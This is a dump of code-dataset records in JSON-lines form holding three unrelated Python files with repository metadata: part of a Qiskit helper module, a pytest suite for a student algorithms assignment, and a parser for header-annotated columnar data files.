algorithm on.\r\n                  \r\n    returns: np.array, unitary matrix corresponding to the algorithm.\r\n    \"\"\"\r\n    if num_qubits is None: num_qubits = get_num_qubits(algorithm)\r\n    if not algorithm: algorithm = [\"iden(0)\"]\r\n\r\n    ## qiskit orders their bits opposite to Cirq nad ProjectQ, and in my\r\n    ## opinion in a much less intuitive way. So I flip the order of the bits\r\n    ## here.\r\n    a = []\r\n    for gate in algorithm:\r\n        gate_name, gate_args = get_gate_info(gate)\r\n        i = GATE_PARAMS[gate_name][0]\r\n        params = gate_args[:i]\r\n        qubits = gate_args[i:]\r\n        qubits = tuple(num_qubits-q-1 for q in qubits)\r\n        a.append(gate_name + str(params + qubits))\r\n        \r\n    q = qiskit.QuantumRegister(num_qubits)\r\n    qc = qiskit.QuantumCircuit(q)\r\n    apply_string_algorithm(a, q, qc)\r\n    return qiskit.execute(\r\n        qc, backend=qiskit.Aer.get_backend(unitary_simulator)\r\n    ).result().get_data(qc)[\"unitary\"]\r\n    \r\n    \r\ndef prepare_state(state):\r\n    \"\"\"\r\n    state: string, string of 0's and 1's.\r\n    returns: algorithm (list of strings), algorithm to prepare the state.\r\n    \"\"\"\r\n    return [\"x(%d)\" % i for i in range(len(state)) if state[i] == \"1\"]\r\n        \r\n        \r\ndef sample(algorithm, num_qubits=None, \r\n           num_samples=1, backend=simulator):\r\n    \"\"\"\r\n    Get a list of all the outputs from an algorithm. Differs from `run` because\r\n    `run` returns the determined probabilities of each state, but `sample`\r\n    returns a list of the outputs.\r\n    \r\n    algorithm: algorithm (list of strings), NOT a list of algorithms, \r\n               each string is a gate in GATE_ARGUMENTS.keys() with whatever \r\n               arguments required to define the gate.\r\n    num_qubits: int, number of qubits to run each algorithm on.\r\n    num_samples: int, number of samples to take from the quantum computer.\r\n    backend: str, IBM backend to run the algorithm on. If backend is not\r\n                  a local simulator then credentials must have already\r\n                  been applied.\r\n                  \r\n    returns: list, each element is the measured state.\r\n    \"\"\"\r\n    d = run([algorithm]*num_samples, \r\n            num_qubits=num_qubits, \r\n            num_samples=1, backend=backend)\r\n    return [list(x.keys())[0] for x in d]\r\n\r\n\r\ndef single_sample(algorithm, num_qubits=None, backend=simulator):\r\n    \"\"\" \r\n    Same as `sample` with one sample, but returns a state instead of a list of \r\n    one state.\r\n    \"\"\"\r\n    return sample(algorithm, num_qubits, 1, backend)[0]\r\n\r\n\r\ndef markovian_sample(algorithm, num_qubits=None, \r\n                     num_samples=1, backend=simulator):\r\n    \"\"\"\r\n    Get a list of all the outputs from an algorithm, where the previous output\r\n    is prepared as the starting point for the next algorithm; ie the\r\n    measurement of the algorithm is input to run the algorithm again.\r\n    \r\n    algorithm: algorithm (list of strings), NOT a list of algorithms, \r\n               each string is a gate in GATE_ARGUMENTS.keys() with whatever \r\n               arguments required to define the gate.\r\n    num_qubits: int, number of qubits to run each algorithm on.\r\n    num_samples: int, number of samples to take from the quantum computer.\r\n    backend: str, IBM backend to run the algorithm on. If backend is not\r\n                  a local simulator then credentials must have already\r\n                  been applied.\r\n                  \r\n    returns: list, each element is the measured state.\r\n    \"\"\"\r\n    if num_samples < 1: raise ValueError(\"Must have >= 1 sample\")\r\n    if num_qubits is None: num_qubits = get_num_qubits(algorithm)\r\n    args = num_qubits, backend\r\n    res = [single_sample(algorithm, *args)]\r\n    for _ in range(num_samples-1):\r\n        res.append(single_sample(prepare_state(res[-1])+algorithm, *args))\r\n    return res\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    ## Examples\r\n    \r\n    # `run` returns a dictionary mapping states to probabilities, ie\r\n    # run([\"h(0)\", \"cx(0, 1)\"]) should return {\"00\":0.5, \"11\": 0.5}.\r\n    \r\n    # if no \"measure\" is included in alg, then by default everything will\r\n    # be measured.\r\n    alg = [\"H(0)\", \"CX(0, 1)\", \"u3(pi, pi/2, pi/4, 0)\"]\r\n    print(run(alg, 3, num_samples=10000))\r\n    \r\n    # since a measure is included, only that register will be measured.\r\n    alg = [\"H(0)\", \"CX(0, 1)\", \"u3(pi, pi/2, pi/4, 0)\", \"measure(0, 0)\"]\r\n#    print(run(alg, 3, num_samples=1000, backend=\"ibmqx4\"))\r\n    \r\n    # run multiple circuits at once\r\n    alg0 = [\"h(0)\", \"cx(0, 1)\", \"measure(0, 0)\", \"measure(1, 1)\"]\r\n    alg1 = [\"x(0)\", \"H(1)\", \"ccx(0, 1, 2)\"]\r\n    print(run([alg0, alg1]))\r\n    \r\n    # convert alg to its unitary respresentation.\r\n    alg = [\"h(0)\", \"cx(0, 1)\"]\r\n    print(algorithm_unitary(alg, 2))", "meta": {"hexsha": "36dac0b1d0e20e8f0a6e2b9473a163ad535e28d2", "size": 15075, "ext": "py", "lang": "Python", "max_stars_repo_path": "qc/qiskit_helper.py", "max_stars_repo_name": "jiosue/QAOAPython", "max_stars_repo_head_hexsha": "32519ef6d6e4946c386f4a946514ed90b2748889", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-07-02T17:59:54.000Z", "max_stars_repo_stars_event_max_datetime": "2019-07-02T17:59:54.000Z", "max_issues_repo_path": "qc/qiskit_helper.py", "max_issues_repo_name": "jiosue/QAOAPython", "max_issues_repo_head_hexsha": "32519ef6d6e4946c386f4a946514ed90b2748889", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "qc/qiskit_helper.py", "max_forks_repo_name": "jiosue/QAOAPython", "max_forks_repo_head_hexsha": "32519ef6d6e4946c386f4a946514ed90b2748889", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.4155495979, "max_line_length": 80, "alphanum_fraction": 0.5880597015, "include": true, "reason": "from numpy", "num_tokens": 3888, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.12592275663455993, "lm_q1q2_score": 0.059521606391652465}}
{"text": "\"\"\"\nUnit testing with Python for Session1 function\n\n@brief get started with python testing by looking at https://docs.pytest.org/en/latest/getting-started.html#getstarted. Note that any script to be ran within the python testing framework (pytest) should follow the standard test discovery rules (https://docs.pytest.org/en/latest/goodpractices.html#test-discovery)\n\"\"\"\n\nimport os\nimport numpy as np\n\nprint('Starting test script from working directory : ' + os.getcwd())\n\n#testing session 1 functions\ndef load_s1_script():\n    \"\"\"\n        utility function that tris to load the script written along the first lesson\n        @throws an ImportError exception if the script file does not exist\n        @return the script as a loaded module\n    \"\"\"\n    s1_script_filename = 'assignments/Session1/S1_algotools.py'\n    print('Trying to load target scripts : ' + s1_script_filename)\n    import imp\n    s1_algotools=imp.load_source('session_1_script', s1_script_filename)\n    return  s1_algotools\n\n\n\n#load the scripts to check\ndef test_session1script_exists():\n    try:\n        load_s1_script()\n        assert True\n    except  ImportError:\n        print('Expected script not found, carrefuly check the assignement instructions ')\n        assert False\n\n# ----------- TEST FOR average_above_zero FUNCTION -----------\n\ndef test_s1_selective_average_non_zeros_values():\n    ##\n    # @test validates average_above_zero works fine with integer values > 0\n    assert load_s1_script().average_above_zero([1, 2, 3, 4, -7]) == 2.5\n\ndef test_s1_selective_average_with_zeros_values():\n    ##\n    # @test validates average_above_zero works fine with integer values >= 0\n    assert load_s1_script().average_above_zero([0, 1, 2, 3, 4, -7]) == 2.0\n\ndef test_s1_selective_average_with_negative_values():\n    ##\n    # @test validates average_above_zero works fine with integer values <= 0\n    assert load_s1_script().average_above_zero([0, -7]) == 0\n\ndef test_s1_selective_average_with_string_values():\n    ##\n    # @test validates average_above_zero works fine with integer values <= 0\n    try:\n        load_s1_script().average_above_zero(['ad', 'c'])\n        assert False\n    except ZeroDivisionError:\n        assert True\n\ndef test_s1_selective_average_with_empty_values():\n    ##\n    # @test validates average_above_zero works fine with an empty list\n    try:\n        load_s1_script().average_above_zero([])\n        assert False\n    except ValueError:\n        assert True\n\ndef test_s1_selective_average_with_string():\n    ##\n    # @test validates average_above_zero works fine with an string\n    try:\n        load_s1_script().average_above_zero('string')\n        assert False\n    except TypeError:\n        assert True\n\n# ----------- TEST FOR max_value FUNCTION -----------\n\ndef test_s1_max_value():\n    ##\n    # @test validates max_value works fine with integer values > 0\n    assert load_s1_script().max_value([1, 2, 3, 4, 10]) == (10, 4)\n\ndef test_s1_max_value_with_negative_value():\n    ##\n    # @test validates max_value works fine with integer values < 0\n    assert load_s1_script().max_value([-1, -2, -3, -4, -10]) == (-1, 0)\n\ndef test_s1_max_value_with_max_at_index_0():\n    ##\n    # @test validates max_value works fine with integer values > 0\n    assert load_s1_script().max_value([77, 2, 3, 4, 10]) == (77, 0)\n\ndef test_s1_max_value_with_max_at_index_2():\n    ##\n    # @test validates max_value works fine with integer values > 0\n    assert load_s1_script().max_value([1, 2, 42, 4, 10]) == (42, 2)\n\ndef test_s1_max_value_with_empty_array():\n  ##\n  # @test validates max_value works fine with empty array\n  try:\n    load_s1_script().max_value([])\n    assert False\n  except ValueError:\n    assert True\n\ndef test_s1_max_value_with_no_array_value():\n  ##\n  # @test validates max_value works fine with an no array value\n  try:\n    load_s1_script().max_value('array')\n    assert False\n  except TypeError:\n    assert True\n\n# ----------- TEST FOR reverse_table FUNCTION -----------\n\ndef test_reverse_table_value():\n    ##\n    # @test validates reverse_table works fine with correct array\n    assert load_s1_script().reverse_table([1, 2, 3, 4]) == [4, 3, 2, 1]\n\ndef test_reverse_table_value_negative():\n    ##\n    # @test validates reverse_table works fine with correct array, with negative value\n    assert load_s1_script().reverse_table([1, -2, -3, 4]) == [4, -3, -2, 1]\n\ndef test_reverse_table_with_no_int_values():\n    ##\n    # @test validates reverse_table works fine with correct array but with not only number inside\n    assert load_s1_script().reverse_table([1, -2, 'v', [4, 3]]) == [[4, 3], 'v', -2, 1]\n\ndef test_reverse_table_with_string():\n    ##\n    # @test validates reverse_table works fine with string instead of array\n    try:\n        load_s1_script().reverse_table('array')\n        assert False\n    except TypeError:\n        assert True\n\n# ----------- TEST FOR roi_bbox FUNCTION -----------\n\ndef test_roi_bbox_no_np_array():\n    ##\n    # @test validates roi_bbox works fine with no np.array given.\n    try:\n        load_s1_script().roi_bbox(42)\n        assert False\n    except TypeError:\n        assert True\n\n\ndef test_roi_bbox_with_7_7_array():\n    ##\n    # @test validates roi_bbox works fine with 7*7 array.\n    assert load_s1_script().roi_bbox(np.array([\n            [0, 0, 0, 0, 0, 0, 0],\n            [0, 0, 0, 0, 0, 1, 0],\n            [0, 0, 0, 1, 0, 0, 0],\n            [0, 0, 0, 1, 1, 0, 0],\n            [0, 0, 1, 0, 0, 0, 0],\n            [0, 0, 0, 0, 0, 0, 0],\n            [0, 0, 0, 0, 0, 0, 0]\n        ])).tolist() == [[2, 1], [5, 1], [2, 4], [5, 4]]\n\n\n# ----------- TEST FOR random_fill_sparse FUNCTION -----------\n\ndef test_random_fill_sparse_value_with_no_int_k():\n    ##\n    # @test validates random_fill_sparse works fine with k as not Int\n    try:\n        load_s1_script().random_fill_sparse(np.array([['', '', ''], ['', '', '']]), 'dd')\n        assert False\n    except TypeError:\n        assert True\n\ndef test_random_fill_sparse_value_with_no_np_array_table():\n    ##\n    # @test validates random_fill_sparse works fine with table as not np.array\n    try:\n        load_s1_script().random_fill_sparse([['', '', ''], ['', '', '']], 2)\n        assert False\n    except TypeError:\n        assert True\n\n# ----------- TEST FOR remove_whitespace FUNCTION -----------\n\ndef test_remove_whitespace_with_one_whitespace():\n    ##\n    # @test validates remove_whitespace works fine with string with 1 whitespace.\n    assert load_s1_script().remove_whitespace('str ing') == 'string'\n\ndef test_remove_whitespace_with_many_whitespace():\n    ##\n    # @test validates remove_whitespace works fine with string with many whitespace.\n    assert load_s1_script().remove_whitespace('   s    t   r i   n   g   ') == 'string'\n\ndef test_remove_whitespace_with_no_string_value():\n    ##\n    # @test validates remove_whitespace works fine with no string given.\n    try:\n        load_s1_script().remove_whitespace(42)\n        assert False\n    except TypeError:\n        assert True\n\n# ----------- TEST FOR shuffle FUNCTION -----------\n\ndef test_shuffle_with_no_array_value():\n    ##\n    # @test validates shuffle works fine with no array given.\n    try:\n        load_s1_script().shuffle(42)\n        assert False\n    except TypeError:\n        assert True\n\ndef test_shuffle_with_array():\n    ##\n    # @test validates shuffle works fine with array, test if all number are there.\n    array_test = [i for i in range(10)]\n    init_sum = sum(array_test)\n    result = load_s1_script().shuffle(array_test)\n\n    assert init_sum == sum(result)\n\n# ----------- TEST FOR sort_selective FUNCTION -----------\n\n\ndef test_sort_selective_with_no_array_value():\n    ##\n    # @test validates sort_selective works fine with no array given.\n    try:\n        load_s1_script().sort_selective(42)\n        assert False\n    except TypeError:\n        assert True\n\ndef test_sort_selective_with_array_of_ten():\n    ##\n    # @test validates sort_selective works fine with array of 10 values.\n    assert load_s1_script().sort_selective([2, 5, 3, 7, 9, 6, 7, 7, 1, 0]) == [0, 1, 2, 3, 5, 6, 7, 7, 7, 9]\n\n# ----------- TEST FOR sort_bubble FUNCTION -----------\n\n\ndef test_sort_bubble_with_no_array_value():\n    ##\n    # @test validates sort_bubble works fine with no array given.\n    try:\n        load_s1_script().sort_bubble(42)\n        assert False\n    except TypeError:\n        assert True\n\ndef test_sort_bubble_with_array_of_ten():\n    ##\n    # @test validates sort_bubble works fine with array of 10 values.\n    assert load_s1_script().sort_bubble([2, 5, 3, 7, 9, 6, 7, 7, 1, 0]) == [0, 1, 2, 3, 5, 6, 7, 7, 7, 9]\n", "meta": {"hexsha": "9a881be4d77aabdea9475f3325eb26a29683b135", "size": 8564, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/test_S2.py", "max_stars_repo_name": "Alex-Chopard/USMB-BachelorDIM-Lectures-Algorithms-2018_public", "max_stars_repo_head_hexsha": "2a06481aca63bfbe9b3b05bfc0e0a274f782ccf5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "test/test_S2.py", "max_issues_repo_name": "Alex-Chopard/USMB-BachelorDIM-Lectures-Algorithms-2018_public", "max_issues_repo_head_hexsha": "2a06481aca63bfbe9b3b05bfc0e0a274f782ccf5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "test/test_S2.py", "max_forks_repo_name": "Alex-Chopard/USMB-BachelorDIM-Lectures-Algorithms-2018_public", "max_forks_repo_head_hexsha": "2a06481aca63bfbe9b3b05bfc0e0a274f782ccf5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.1954887218, "max_line_length": 313, "alphanum_fraction": 0.6572863148, "include": true, "reason": "import numpy", "num_tokens": 2264, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3140505321516081, "lm_q2_score": 0.18952109819626003, "lm_q1q2_score": 0.05951920174249264}}
{"text": "\"\"\"\n\nReads a file containing columns of data and creates a dictionary according to header information\nusing the following format:\n\n1. comments start with ``#`` in the **first column** : ``# My Comment``\n\n2. header information starts with ``#!``, where ``#`` is also in the **first column**. It must precede the data.\n\n3. each columns is represented by ``name[dtype, col.nr.]/``,  *dtype* (optional) is the data type and *col.nr*\n   (starting at 0) is the column number\n\n4. data are separated by white space **NOT commas!**\n\n5. data types:\n\n      - s : string\n      - f : float\n      - i : integer\n\n6. blank lines are ignored\n\n **NOTE**: if data formats are entered they should be specified for all columns\n\nExample data::\n\n   #! p_miss[0]/ siglt[2]/ s01[3]/ alt[4]/\n   200. 1.35e-4 -1.e-3    0.1\n   220. 2.56e-4 -2.e-4    -0.1\n   230. 3.47e-6 -3.e-5    1.1\n\nThe header can also contain data type information::\n\n   #! p_miss[f,0]/ siglt[f,2]/ s01[f,3]/ alt[f,4]/\n\n   200. 1.35e-4 -1.e-3    0.1\n   220. 2.56e-4 -2.e-4    -0.1\n   230. 3.47e-6 -3.e-5    1.1\n\n\nExample that opens a file and create a dfile object::\n\n   >>> f0 = dfile('sig_LT.dat')\n\nLoop over content::\n\n   >>> for l in f0:\n   >>> ...pm = l['p_miss']\n   >>> ...sig_lt = l['siglt']*10000.\n   >>> ...print pm, sig_lt, l['alt']\n   >>> # end for l\n\n\nVariables can also be accessed directly as numpy arrays (if installed):\n\n   >>> pm = f0['p_miss']\n   >>> sig_lt = f0['siglt']*10000.\n\nThey can also be converted to attributes:\n\n   >>> f0.make_attr()\n   >>> print f0.p_miss\n   >>> print f0.sig_lt\n\nVariable names are also called keys.\n\nSave the data file as a csv file, this is useful for exporting and formatting for \ndocuments (other than latex)\n\n   >>> f0.write_csv(filename)\n\n\n---------------------------------------------------------\n\n\"\"\"\n\nimport sys\nimport os\nimport string\nimport math\nimport re\nimport pdb\n\nnumpy_ok = True\ntry:\n    import numpy as np\nexcept:\n    numpy_ok = False\n\n# function to create a dictionary from 2 lists: key, values\nformat_dict = {'i':'{:d}', 'f':'{:f}', 's':'{:s}'}\n# create a dictionary from  an array of keys and values\n#----------------------------------------------------------------------\ndef find_duplicates(array):\n    # array with no duplicates\n    na = []\n    # counter array\n    count = []\n    # arrays with duplucates\n    da = []\n    for a in array:\n        try:\n            na.index(a)\n        except:\n            na.append(a)\n            count.append(0.)\n    # na has no duplicates\n    for i,a in enumerate(na):\n        for aa in array:\n            if aa == a:\n                count[i]+= 1\n    for i,c in enumerate(count):\n        if c>1:\n            da.append(na[i])\n    return da\n#----------------------------------------------------------------------\n\n\nclass dfile:\n    \"\"\"\n    Open a file, read and interpret the contents and return a dfile object:\n\n    >>> df = dfile('my_datafile')\n\n    keywords:\n        \n        debug = False (default) : print additional iformation\n        \n        fast = False (default) : load data in a fast way (using np.loadtxt) this has\n                                 some limits for string entries. Best used for large purely\n                                 numerical data.\n                                 \n        use_numpy = True (if numpy is installed) : set automatically but can be overridden\n                                                   some attributes of datafile are not availables when\n                                                   numpy is not present\n        \n    \"\"\"\n    def __init__(self, filename, debug = False, new=False, skip = True, use_numpy = numpy_ok, fast = False):\n        self.H=re.compile(\"^#\\!\") # pattern for header\n        self.C=re.compile(\"^#\")   # pattern for comment\n        # pattern for splitting header\n        # currently:\n        # ^#\\! : matches line beginning with #!\n        # \\[[0-9]+\\]\\/: matches [0]/ ... [8796]/\n        # \\[ *\\w+ *, *\\w *\\]\\/ : matches [   f  , blabla   ]/\n        #\n        self.S=re.compile(\"^#\\!|\\[[0-9]+\\]\\/|\\[ *\\w *, *\\w+ *\\]\\/\")\n        # pattern to find format information in the header\n        self.F=re.compile(\"\\w+ *, *\\w+\")\n        # pattern to find a character\n        self.Fc=re.compile(\"[a-zA-Z]\")\n        # pattern to find a number\n        self.Fn=re.compile(\"[0-9]+ *\\]\")\n        # supported formats: the output format dictionary key must match the supported formats\n        self.fmt_characters = ['f','i','s']\n        self.dt_formats = {'f':'f8', 'i':'i4','s':'S32'}\n        self.output_format= {'f':'%r ','i':'%d ','s':'%s '}\n        # empty dictionary for the formats\n        self.formats = {}\n        self.formats_dt = {}\n        self.cols = {}\n        # flag for printing debugging information\n        self.debug = debug\n        # flat to ignore bad line in input\n        self.skip = skip\n        self.use_numpy = use_numpy\n        if not self.use_numpy:\n            print('numpy will not be used !')\n        if fast and (not use_numpy):\n            print ('fast mode not possible as numpy cannot be used!')\n            fast = False\n        self.fast = fast\n        #\n        self.header = None\n        self.data = []\n        self.adata = []\n        self.fdata=[]\n        self.keys=[]\n        self.new = False\n        if new:\n            new=True\n            self.filename = filename\n            self.keys.append('indx')\n            self.headindex=0\n            self.headerline = ('#! ')\n            self.adata.append('#! ')\n            return\n        # pdb.set_trace()\n        # open file\n        self.filename = filename\n        i=open(filename,\"r\")      # open file\n        # remove leading and trailing spaces\n        self.adata=[ x.strip() for x in i.readlines()]   # read all data        \n        if self.debug :\n            print(\"datafile --> data read !\")\n        if self.debug :\n            print(\"datafile --> spaces removed read !\")\n        self.remove_blanks()\n        if self.debug :\n            print(\"datafile --> blank lines removed read !\")\n        i.close()\n        if (self.find_header() != 0): # find the header\n            print(\"cannot interpret data, header probably missing or wrong\")\n            return\n        if self.debug :\n            print(\"datafile --> create arrays !\")\n        self.make_array()  # read data\n        if self.debug :\n            print(\"datafile --> arrays created !\")\n    def __getitem__(self,i):\n        # allows 'direct' access to the data\n        if type(i) is int:\n            # it'sm index\n            return self.data[i]\n        elif type(i) is str:\n            # its a lkey return the list of data\n            return self.get_data(i)\n    def __len__(self):\n        return len(self.data)\n    def remove_blanks(self):\n        # work through the list in reverse order\n        indices = list(range( len( self.adata ))) # list of indices\n        indices.reverse() # reverse order\n        for i in indices: # loop through from the top\n            if len(self.adata[i].strip()) == 0:\n                del self.adata[i]\n    def find_header(self):\n        # find header information : look for a line starting with #!\n        for l in self.adata:\n            if (self.H.match(l) != None):\n                self.headindex=self.adata.index(l)\n                self.headerline=l\n                self.header=re.split(self.S,l)[1:-1] # remove first and last element\n                self.keys=[ x.strip() for x in self.header]\n                self.keys.append('indx') # store the index into the original\n                # handle data format\n                # check for duplicate keys\n                duplicate_keys = find_duplicates(self.keys)\n                if duplicate_keys != []:\n                    print(\"duplicate keys found : \", duplicate_keys)\n                    return -1\n                # pdb.set_trace()\n                fmt = re.findall(self.F,l)\n                col_t = re.findall(self.Fn,l)\n                col = [cc.replace(']','') for cc in col_t]\n                # no format specification, set default format\n                if fmt == []:\n                    for i,k in enumerate(self.keys[:-1]) : # skip index\n                        self.formats[k] = 'f'\n                        self.formats_dt[k] = self.dt_formats['f']\n                # use format specifications\n                else:\n                    for i,f in enumerate(fmt):\n                        fc = re.findall(self.Fc,f)[0] # use 1st char. for format\n                        self.formats[self.keys[i]] = fc\n                        self.formats_dt[self.keys[i]] = self.dt_formats[fc]\n                # addformat for the index\n                self.formats['indx'] ='i'\n                self.formats_dt['indx'] = self.dt_formats['i']\n                # use format specifications\n                for i,cc in enumerate(col):\n                    f = self.formats[self.keys[i]]\n                    if f == 's':\n                        self.cols[self.keys[i]] = ''\n                    else:\n                        self.cols[self.keys[i]] = col[i]\n                self.cols['indx'] ='-1'\n                # addformat for the index\n                # adata array\n                # do some checks\n                if (len(self.keys)  != len(self.formats)):\n                    print(self.filename,\": problem in data formats !\")\n                    print(self.adata)\n                    return -1\n                return 0\n            #\n        print(self.filename,\": no header information !\")\n        print('data dump : ')\n        print(self.adata)\n        return -1\n\n    def parse_line(self, l):\n        if (self.C.match(l) != None) : # not a comment\n            return None\n        ll=l.split()\n        # handle file format problems\n        if len(ll) > (len(self.keys)-1) :\n            n_data = (len(self.keys)-1)\n            print(self.filename, ' error: more data than variable names !')\n            print(' ---> check header : ', self.headerline)\n            print('current line : ', self.line_n+1, ' ', ll)\n            if self.skip:\n                print('skipping !')\n                return None\n            else:\n                sys.exit(-1)\n        if len(ll) < (len(self.keys)-1) :\n            print(self.filename, ' error: too few data values !')\n            print(' ---> check header : ', self.headerline)\n            print('current line : ', self.line_n+1, ' ', ll)\n            if self.skip:\n                print('skipping !')\n                return None\n            else:\n                sys.exit(-1)\n        f = []\n        # now convert to values\n        for i,k in enumerate(ll):\n            # check if there are format specifications\n            f_err = False\n            try:\n                fmt = self.formats[self.keys[i]]\n                fc = fmt\n                # check that the format is supported\n                fi = self.fmt_characters.index(fmt)\n            except:\n                f_err = True\n                print('unknown format : ', fc, ' set to f')\n                fc = 'f'\n                self.formats[self.keys[i]] = 'f'\n            # now try to convert according to the format\n            try:\n                if fc == 'f':\n                    f.append(float(k)) # create a float\n                if fc == 'i':\n                    f.append(int(k))   # create an integer\n                if fc == 's':\n                    f.append(k)        # leave as string\n            except:\n                f.append(k) # if not possible leave it,\n                # but make a comment\n                if len(self.formats) == 0 :\n                    print('cannot convert : ', k, ' to float, line : ', self.line_n +1)\n                else:\n                    if (f_err ):\n                        print('cannot convert : ', k, ' line : ', self.line_n+1,\\\n                            ', problem with unknown format : ', fmt)\n                    else:\n                        print('cannot convert : ', k, ' line : ', self.line_n+1,\\\n                            ', with format :', fmt)\n        f.append(self.adata.index(l))\n        # pdb.set_trace()\n        return f\n\n    def make_array(self):\n        if self.fast:\n            # use loadtxt to get the data\n            data_types = [self.formats_dt[k] for k in self.keys[:-1]]\n            self.data = np.loadtxt(self.filename, dtype = {'names':self.keys[:-1], 'formats':data_types})\n        else:   \n               # create an array of dictionaries\n            self.data = []\n            n_data = len(self.adata)\n            for self.line_n, l in enumerate(self.adata):\n                f = self.parse_line(l)\n                if f == None:\n                    continue\n                self.data.append(self.make_dict(self.keys,f) )\n                if self.debug:\n                    print(\"processed data : \", self.line_n, \" out of \", n_data)\n            \n    def make_dict(self,keys,values):\n        # create a dictionary from a list of keys and values\n        p = []\n        for j,key in enumerate(keys): # loop over keys\n            try:\n                p.append( (key.strip(),values[j]) ) # an array of tuples\n                d=dict(p) # create a dictionary\n            except:\n                print('problem in data : ', key, values, j)\n            #\n        return d\n\n    def make_attr(self):\n        # make attributes out of the keys\n        for k in self.keys:\n            ka = ''\n            try:\n                self.__dict__[k]\n                # attrtibute exists append _d\n                ka = k + '_d'\n                print((\"{:s} exists using : {:s}\".format(k, ka)))\n            except:\n                ka = k\n            # replace periods with underscores\n            if self.use_numpy:\n                setattr(self, ka.replace('.','_'), np.array(self[k]))\n            else:\n                setattr(self, ka.replace('.','_'), self[k])\n                    \n\n    def scale(self, key, factor):\n        \"\"\"\n        multiply all values of key with a factor\n        \"\"\"\n        for i, d in enumerate(self.data):\n            self.data[i][key] = factor*d[key]\n        #\n\n    def sort(self, key, **kwargs):\n        \"\"\"\n        sort the data according to the values in key\n        \"\"\"\n        index_array = []\n        for d in self.data:\n            index_array.append((d[key], self.data.index(d))) # store index and values pair\n        sorted_array = sorted(index_array,**kwargs) # create a sorted array\n        temp = []\n        for ip in sorted_array:\n            temp.append(self.data[ip[1]])\n        self.data = temp\n        temp=[]\n\n    def name(self):\n        \"\"\"\n        print the filename associate with this instance\n\n        \"\"\"\n        print(\"Input file name : \", self.filename)\n    def show_keys(self):\n        \"\"\"\n        print a list of variable names in the dictionary\n\n        \"\"\"\n        print(self.keys)\n    def get_keys(self):\n        \"\"\"\n\n        return a list of keys\n\n        \"\"\"\n        return self.keys\n    def get_header(self):\n        \"\"\"\n\n        return the header lines\n\n        \"\"\"\n        return self.adata[self.headindex]\n\n    def get_full_header(self):\n        \"\"\"\n\n        return all line up to the header line\n\n        \"\"\"\n        return self.adata[:self.headindex+1]\n\n    def show_data(self,keylist):\n        \"\"\"\n\n        print all the data corresponding to the key list::\n\n           >>> df.show_data('key1:key2:key3')\n\n        \"\"\"\n        akey=keylist.split(\":\")\n        for l in self.data:\n            ll=[]\n            for i in akey:\n                format = self.output_format[ self.formats[i] ]\n                ll.append( format%( l[i] ) )\n            print(ll)\n\n\n    def check_data(self, func, data, key, *args):\n        \"\"\"\n\n        function used to check if data fulfill a condition provided\n        by the user. The function is assumed to return True of False.\n\n        \"\"\"\n        return func( data, key, *args)\n\n    def select_data(self, sel_func = None, sel_args = None):\n        \"\"\"\n        returns an iterator for the data. As in get_data() a selector function and\n        its arguments can be supplied:\n\n        conditions can be applied:\n\n        1) sel_func: a user provided function returning True or False\n\n        2) sel_args: a list of arguments used in the sel_func function\n\n        The iterator returned can be used as follows:\n\n        >>> for d in df.select_data():\n        >>> ...print d\n\n        or the result can be converted to a list:\n\n        >>> list(df.select_data())\n\n        Using a selector function:\n\n        Example: assume the data contain a variable (key) called 'name'\n           you want to select only those data where name contains a certain substring 'sub'\n\n        Define this function:\n\n        >>> def myfind(data, key , what):\n        >>> ...where = data[key]\n        >>> ...return (str.find(where, what) >= 0)\n\n        now you can select the data using:\n\n        >>> list( df.select_data( myfind, 'name', 'sub') )\n\n        \"\"\"\n        if sel_func == None:\n            for i,data in enumerate(self.data):\n                yield data\n        else:\n            for i,data in enumerate(self.data):\n                if self.check_data(sel_func, data, *sel_args):\n                    yield data\n        # that's all\n\n    def select_data_eval(self, eval_str):\n        \"\"\"\n        returns an iterator for data selected with an *eval* expression\n        stored in the string `eval_str` each dataset item is accessed using the name data::\n\n        >>> df.select_data_eval(\"data['x'] >= 0.\")\n\n        returns only those data items where the value of the x-column in the file\n        is larger than or equal to 0.\n\n        \"\"\"\n        for i,data in enumerate(self.data):\n            if eval( eval_str):\n                yield data\n        # that's all\n\n    def eval_data(self, eval_str):\n        \"\"\"\n        iterator over all data evaluating an expression contained in eval_str\n        \"\"\"\n        for i,data in enumerate(self.data):\n            yield eval(eval_str)\n        # that's all\n\n    def get_data(self,key, sel_func = None, sel_args = None):\n        \"\"\"\n\n        return all data for `key` subject to the results of a selector function.\n\n        one can define a selector function (`sel_func`) using the arguments stored in `sel_args`.\n        This function is evaluated for each data record and only\n        those data are returned for which the condition is fulfilled.\n\n        1) sel_func: a user provided function returning True or False\n\n        2) sel_args: a list of arguments used in the sel_func function\n\n        Example::\n           assume the data contain a variable (key) called 'name'\n           you want to select only those data where name contains a certain substring 'Jo'\n\n        Define this function::\n\n        >>> def myfind(data, key , what):\n        >>> ...where = data[key]\n        >>> ...return (str.find(where, what) >= 0)\n\n        now you can select the data using::\n\n        >>> df.get_data('name',myfind, ['name','Jo'] )\n\n        This should return a list of names containing the substring 'Jo'\n\n        \"\"\"\n        array=[]\n        for l in self.data:\n            if sel_func == None:\n                array.append(l[key])\n            else :\n                if self.check_data( sel_func, l, *sel_args):\n                    array.append(l[key])\n        if self.use_numpy:\n            return np.array(array)\n        else:\n            return array\n\n    def get_data_eval(self,key,eval_str): # return data 